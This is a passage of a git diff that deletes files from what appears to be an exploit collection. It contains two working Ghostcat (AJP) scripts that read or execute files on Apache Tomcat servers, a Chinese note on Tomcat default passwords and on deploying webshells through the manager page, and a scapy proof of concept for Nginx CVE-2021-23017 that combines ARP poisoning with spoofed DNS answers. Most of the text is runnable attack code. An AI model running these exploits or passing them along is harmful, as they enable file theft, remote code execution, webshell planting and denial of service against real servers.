self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)
res += pack_string(self.request_headers[h_name])
return res
def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res
r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break
return res
class AjpResponse(object):
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError
def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value
def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length+1)
def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")
def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen
@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r
import socket
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr
class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb", bufsize=0)
def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res
'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
])
print('----------------------------')
print("".join([d.data for d in data]))

View File

@ -1,386 +0,0 @@
#!/usr/bin/python3
# Author: 00theway
import socket
import binascii
import argparse
import urllib.parse
debug = False
def log(type, *args, **kwargs):
if type == 'debug' and debug == False:
return
elif type == 'append' and debug == True:
return
elif type == 'append':
kwargs['end'] = ''
print(*args, **kwargs)
return
print('[%s]' % type.upper(), *args, **kwargs)
class ajpRequest(object):
def __init__(self, request_url, method='GET', headers=[], attributes=[]):
self.request_url = request_url
self.method = method
self.headers = headers
self.attributes = attributes
def method2code(self, method):
methods = {
'OPTIONS': 1,
'GET': 2,
'HEAD': 3,
'POST': 4,
'PUT': 5,
'DELETE': 6,
'TRACE': 7,
'PROPFIND': 8
}
code = methods.get(method, 2)
return code
def make_headers(self):
header2code = {
b'accept': b'\xA0\x01', # SC_REQ_ACCEPT
b'accept-charset': b'\xA0\x02', # SC_REQ_ACCEPT_CHARSET
b'accept-encoding': b'\xA0\x03', # SC_REQ_ACCEPT_ENCODING
b'accept-language': b'\xA0\x04', # SC_REQ_ACCEPT_LANGUAGE
b'authorization': b'\xA0\x05', # SC_REQ_AUTHORIZATION
b'connection': b'\xA0\x06', # SC_REQ_CONNECTION
b'content-type': b'\xA0\x07', # SC_REQ_CONTENT_TYPE
b'content-length': b'\xA0\x08', # SC_REQ_CONTENT_LENGTH
b'cookie': b'\xA0\x09', # SC_REQ_COOKIE
b'cookie2': b'\xA0\x0A', # SC_REQ_COOKIE2
b'host': b'\xA0\x0B', # SC_REQ_HOST
b'pragma': b'\xA0\x0C', # SC_REQ_PRAGMA
b'referer': b'\xA0\x0D', # SC_REQ_REFERER
b'user-agent': b'\xA0\x0E' # SC_REQ_USER_AGENT
}
headers_ajp = []
for (header_name, header_value) in self.headers:
code = header2code.get(header_name, b'')
if code != b'':
headers_ajp.append(code)
headers_ajp.append(self.ajp_string(header_value))
else:
headers_ajp.append(self.ajp_string(header_name))
headers_ajp.append(self.ajp_string(header_value))
return self.int2byte(len(self.headers), 2), b''.join(headers_ajp)
def make_attributes(self):
'''
org.apache.catalina.jsp_file
javax.servlet.include.servlet_path + javax.servlet.include.path_info
'''
attribute2code = {
b'remote_user': b'\x03',
b'auth_type': b'\x04',
b'query_string': b'\x05',
b'jvm_route': b'\x06',
b'ssl_cert': b'\x07',
b'ssl_cipher': b'\x08',
b'ssl_session': b'\x09',
b'req_attribute': b'\x0A', # Name (the name of the attribut follows)
b'ssl_key_size': b'\x0B'
}
attributes_ajp = []
for (name, value) in self.attributes:
code = attribute2code.get(name, b'')
if code != b'':
attributes_ajp.append(code)
if code == b'\x0A':
for v in value:
attributes_ajp.append(self.ajp_string(v))
else:
attributes_ajp.append(self.ajp_string(value))
return b''.join(attributes_ajp)
def ajp_string(self, message_bytes):
# an AJP string
# the length of the string on two bytes + string + plus two null bytes
message_len_int = len(message_bytes)
return self.int2byte(message_len_int, 2) + message_bytes + b'\x00'
def int2byte(self, data, byte_len=1):
return data.to_bytes(byte_len, 'big')
def make_forward_request_package(self):
'''
AJP13_FORWARD_REQUEST :=
prefix_code (byte) 0x02 = JK_AJP13_FORWARD_REQUEST
method (byte)
protocol (string)
req_uri (string)
remote_addr (string)
remote_host (string)
server_name (string)
server_port (integer)
is_ssl (boolean)
num_headers (integer)
request_headers *(req_header_name req_header_value)
attributes *(attribut_name attribute_value)
request_terminator (byte) OxFF
'''
req_ob = urllib.parse.urlparse(self.request_url)
# JK_AJP13_FORWARD_REQUEST
prefix_code_int = 2
prefix_code_bytes = self.int2byte(prefix_code_int)
method_bytes = self.int2byte(self.method2code(self.method))
protocol_bytes = b'HTTP/1.1'
req_uri_bytes = req_ob.path.encode('utf8')
remote_addr_bytes = b'127.0.0.1'
remote_host_bytes = b'localhost'
server_name_bytes = req_ob.hostname.encode('utf8')
# SSL flag
if req_ob.scheme == 'https':
is_ssl_boolean = 1
else:
is_ssl_boolean = 0
# port
server_port_int = req_ob.port
if not server_port_int:
server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443
server_port_bytes = self.int2byte(server_port_int, 2) # convert to a two bytes
is_ssl_bytes = self.int2byte(is_ssl_boolean) # convert to a one byte
self.headers.append((b'host', b'%s:%d' % (server_name_bytes, server_port_int)))
num_headers_bytes, headers_ajp_bytes = self.make_headers()
attributes_ajp_bytes = self.make_attributes()
message = []
message.append(prefix_code_bytes)
message.append(method_bytes)
message.append(self.ajp_string(protocol_bytes))
message.append(self.ajp_string(req_uri_bytes))
message.append(self.ajp_string(remote_addr_bytes))
message.append(self.ajp_string(remote_host_bytes))
message.append(self.ajp_string(server_name_bytes))
message.append(server_port_bytes)
message.append(is_ssl_bytes)
message.append(num_headers_bytes)
message.append(headers_ajp_bytes)
message.append(attributes_ajp_bytes)
message.append(b'\xff')
message_bytes = b''.join(message)
send_bytes = b'\x12\x34' + self.ajp_string(message_bytes)
return send_bytes
class ajpResponse(object):
def __init__(self, s, out_file):
self.sock = s
self.out_file = out_file
self.body_start = False
self.common_response_headers = {
b'\x01': b'Content-Type',
b'\x02': b'Content-Language',
b'\x03': b'Content-Length',
b'\x04': b'Date',
b'\x05': b'Last-Modified',
b'\x06': b'Location',
b'\x07': b'Set-Cookie',
b'\x08': b'Set-Cookie2',
b'\x09': b'Servlet-Engine',
b'\x0a': b'Status',
b'\x0b': b'WWW-Authenticate',
}
if not self.out_file:
self.out_file = False
else:
log('*', 'store response in %s' % self.out_file)
self.out = open(self.out_file, 'wb')
def parse_response(self):
log('debug', 'start')
magic = self.recv(2) # first two bytes are the 'magic'
log('debug', 'magic', magic, binascii.b2a_hex(magic))
# next two bytes are the length
data_len_int = self.read_int(2)
code_int = self.read_int(1)
log('debug', 'code', code_int)
if code_int == 3:
self.parse_send_body_chunk()
elif code_int == 4:
self.parse_headers()
elif code_int == 5:
self.parse_response_end()
quit()
self.parse_response()
def parse_headers(self):
log("append", '\n')
log('debug', 'parsing RESPONSE HEADERS')
status_int = self.read_int(2)
msg_bytes = self.read_string()
log('<', status_int, msg_bytes.decode('utf8'))
headers_number_int = self.read_int(2)
log('debug', 'headers_nb', headers_number_int)
for i in range(headers_number_int):
# header name: two cases
first_byte = self.recv(1)
second_byte = self.recv(1)
if first_byte == b'\xa0':
header_key_bytes = self.common_response_headers[second_byte]
else:
header_len_bytes = first_byte + second_byte
header_len_int = int.from_bytes(header_len_bytes, byteorder='big')
header_key_bytes = self.read_bytes(header_len_int)
# consume the 0x00 terminator
self.recv(1)
header_value_bytes = self.read_string()
try:
header_key_bytes = header_key_bytes.decode('utf8')
header_value_bytes = header_value_bytes.decode('utf8')
except:
pass
log('<', '%s: %s' % (header_key_bytes, header_value_bytes))
def parse_send_body_chunk(self):
if not self.body_start:
log('append', '\n')
log('debug', 'start parsing body chunk')
self.body_start = True
chunk = self.read_string()
if self.out_file:
self.out.write(chunk)
else:
try:
chunk = chunk.decode('utf8')
except:
pass
log('append', chunk)
def parse_response_end(self):
log('debug', 'start parsing end')
code_reuse_int = self.read_int(1)
log('debug', "finish parsing end", code_reuse_int)
self.sock.close()
def read_int(self, int_len):
return int.from_bytes(self.recv(int_len), byteorder='big')
def read_bytes(self, bytes_len):
return self.recv(bytes_len)
def read_string(self, int_len=2):
data_len = self.read_int(int_len)
data = self.recv(data_len)
# consume the 0x00 terminator
end = self.recv(1)
log('debug', 'read_string read data_len:%d\ndata_len:%d\nend:%s' % (data_len, len(data), end))
return data
def recv(self, data_len):
data = self.sock.recv(data_len)
while len(data) < data_len:
log('debug', 'recv not end,wait for %d bytes' % (data_len - len(data)))
data += self.sock.recv(data_len - len(data))
return data
class ajpShooter(object):
def __init__(self, args):
self.args = args
self.headers = args.header
self.ajp_port = args.ajp_port
self.requesturl = args.url
self.target_file = args.target_file
self.shooter = args.shooter
self.method = args.X
self.out_file = args.out_file
def shoot(self):
headers = self.transform_headers()
target_file = self.target_file.encode('utf8')
attributes = []
evil_req_attributes = [
(b'javax.servlet.include.request_uri', b'index'),
(b'javax.servlet.include.servlet_path', target_file)
]
for req_attr in evil_req_attributes:
attributes.append((b"req_attribute", req_attr))
if self.shooter == 'read':
self.requesturl += '/index.txt'
else:
self.requesturl += '/index.jsp'
ajp_ip = urllib.parse.urlparse(self.requesturl).hostname
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ajp_ip, self.ajp_port))
message = ajpRequest(self.requesturl, self.method, headers, attributes).make_forward_request_package()
s.send(message)
ajpResponse(s, self.out_file).parse_response()
def transform_headers(self):
self.headers = [] if not self.headers else self.headers
newheaders = []
for header in self.headers:
hsplit = header.split(':')
hname = hsplit[0]
hvalue = ':'.join(hsplit[1:])
newheaders.append((hname.lower().encode('utf8'), hvalue.encode('utf8')))
return newheaders
if __name__ == "__main__":
# parse command line arguments
print('''
_ _ __ _ _
/_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __
//_\\\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
/ _ \| | |_) | _\ \ | | | (_) | (_) | || __/ |
\_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_|
|__/|_|
00theway,just for test
''')
parser = argparse.ArgumentParser()
parser.add_argument('url', help='target site\'s context root url like http://www.example.com/demo/')
parser.add_argument('ajp_port', default=8009, type=int, help='ajp port')
parser.add_argument('target_file', help='target file to read or eval like /WEB-INF/web.xml,/image/evil.jpg')
parser.add_argument('shooter', choices=['read', 'eval'], help='read or eval file')
parser.add_argument('--ajp-ip', help='ajp server ip,default value will parse from from url')
parser.add_argument('-H', '--header', help='add a header', action='append')
parser.add_argument('-X', help='Sets the method (default: %(default)s).', default='GET',
choices=['GET', 'POST', 'HEAD', 'OPTIONS', 'PROPFIND'])
parser.add_argument('-d', '--data', nargs=1, help='The data to POST')
parser.add_argument('-o', '--out-file', help='write response to file')
parser.add_argument('--debug', action='store_true', default=False)
args = parser.parse_args()
debug = args.debug
ajpShooter(args).shoot()

Binary file not shown.

Before

Width:  |  Height:  |  Size: 171 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

View File

@ -1,12 +1,11 @@
# Tomcat 默认密码
### Tomcat支持在后台部署war文件可以直接将webshell部署到web目录下
后台地址默认为 `http://ip/manager/html`
## Tomcat支持在后台部署war文件可以直接将webshell部署到web目录下
后台地址默认为 `ip/manager/html`
* Tomcat5默认配置了两个角色tomcat、role1。其中帐号为both、tomcat、role1的默认密码都是tomcat。
* Tomcat6默认没有配置任何用户以及角色没办法用默认帐号登录。
* Tomcat7默认有tomcat用户密码为tomcat 拥有直接部署war文件的权限可以直接上马
* Tomcat7默认有tomcat用户 密码为tomcat 拥有直接部署war文件的权限 可以直接上马
* Tomcat8中正常安装的情况下默认没有任何用户且manager页面只允许本地IP访问
### 修复方案
修复方案:
Tomcat的用户配置文件tomcat-users.xml中进行修改

View File

@ -1,7 +0,0 @@
# Nginx 1.20.0 - Denial of Service (DOS)
## cve 编号
CVE-2021-23017
## poc 使用
`python3 poc.py --target 172.1.16.100 --dns_server 172.1.16.1`

View File

@ -1,103 +0,0 @@
from scapy.all import *
from multiprocessing import Process
from binascii import hexlify, unhexlify
import argparse, time, os
def device_setup():
os.system("echo '1' >> /proc/sys/net/ipv4/ip_forward")
os.system("iptables -A FORWARD -p UDP --dport 53 -j DROP")
def ARPP(target, dns_server):
print("[*] Sending poisoned ARP packets")
target_mac = getmacbyip(target)
dns_server_mac = getmacbyip(dns_server)
while True:
time.sleep(2)
send(ARP(op=2, pdst=target, psrc=dns_server, hwdst=target_mac),verbose = 0)
send(ARP(op=2, pdst=dns_server, psrc=target, hwdst=dns_server_mac),verbose = 0)
def exploit(target):
print("[*] Listening ")
sniff (filter="udp and port 53 and host " + target, prn = process_received_packet)
"""
RFC schema
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| LENGTH | ID |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Q| OPCODE|A|T|R|R|Z|A|C| RCODE | QDCOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ANCOUNT | NSCOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ARCOUNT | QD |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| AN | NS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| AR |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Fig. DNS
"""
def process_received_packet(received_packet):
if received_packet[IP].src == target_ip:
if received_packet.haslayer(DNS):
if DNSQR in received_packet:
print("[*] the received packet: " + str(bytes_hex(received_packet)))
print("[*] the received DNS request: " + str(bytes_hex(received_packet[DNS].build())))
try:
# \/ the received DNS request
dns_request = received_packet[DNS].build()
null_pointer_index = bytes(received_packet[DNS].build()).find(0x00,12)
print("[*] debug: dns_request[:null_pointer_index] : "+str(hexlify(dns_request[:null_pointer_index])))
print("[*] debug: dns_request[null_pointer_index:] : "+str(hexlify(dns_request[null_pointer_index:])))
payload = [
dns_request[0:2],
b"\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00",
dns_request[12:null_pointer_index+1],
dns_request[null_pointer_index+1:null_pointer_index+3],
dns_request[null_pointer_index+3:null_pointer_index+5],
b"\xC0\x0C\x00\x05\x00\x01\x00\x00\x0E\x10",
b"\x00\x0B\x18\x41\x41\x41\x41\x41\x41\x41",
b"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41",
b"\x41\x41\x41\x41\x41\x41\x41\xC0\x04"
]
payload = b"".join(payload)
spoofed_pkt = (Ether()/IP(dst=received_packet[IP].src, src=received_packet[IP].dst)/ \
UDP(dport=received_packet[UDP].sport, sport=received_packet[UDP].dport)/ \
payload)
print("[+] dns answer: "+str(hexlify(payload)))
print("[+] full packet: " + str(bytes_hex(spoofed_pkt)))
sendp(spoofed_pkt, count=1)
print("\n[+] malicious answer was sent")
print("[+] exploited\n")
except:
print("\n[-] ERROR")
def main():
global target_ip
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="IP address of the target")
parser.add_argument("-r", "--dns_server", help="IP address of the DNS server used by the target")
args = parser.parse_args()
target_ip = args.target
dns_server_ip = args.dns_server
device_setup()
processes_list = []
ARPPProcess = Process(target=ARPP,args=(target_ip,dns_server_ip))
exploitProcess = Process(target=exploit,args=(target_ip,))
processes_list.append(ARPPProcess)
processes_list.append(exploitProcess)
for process in processes_list:
process.start()
for process in processes_list:
process.join()
if __name__ == '__main__':
target_ip = ""
main()

Some files were not shown because too many files have changed in this diff Show More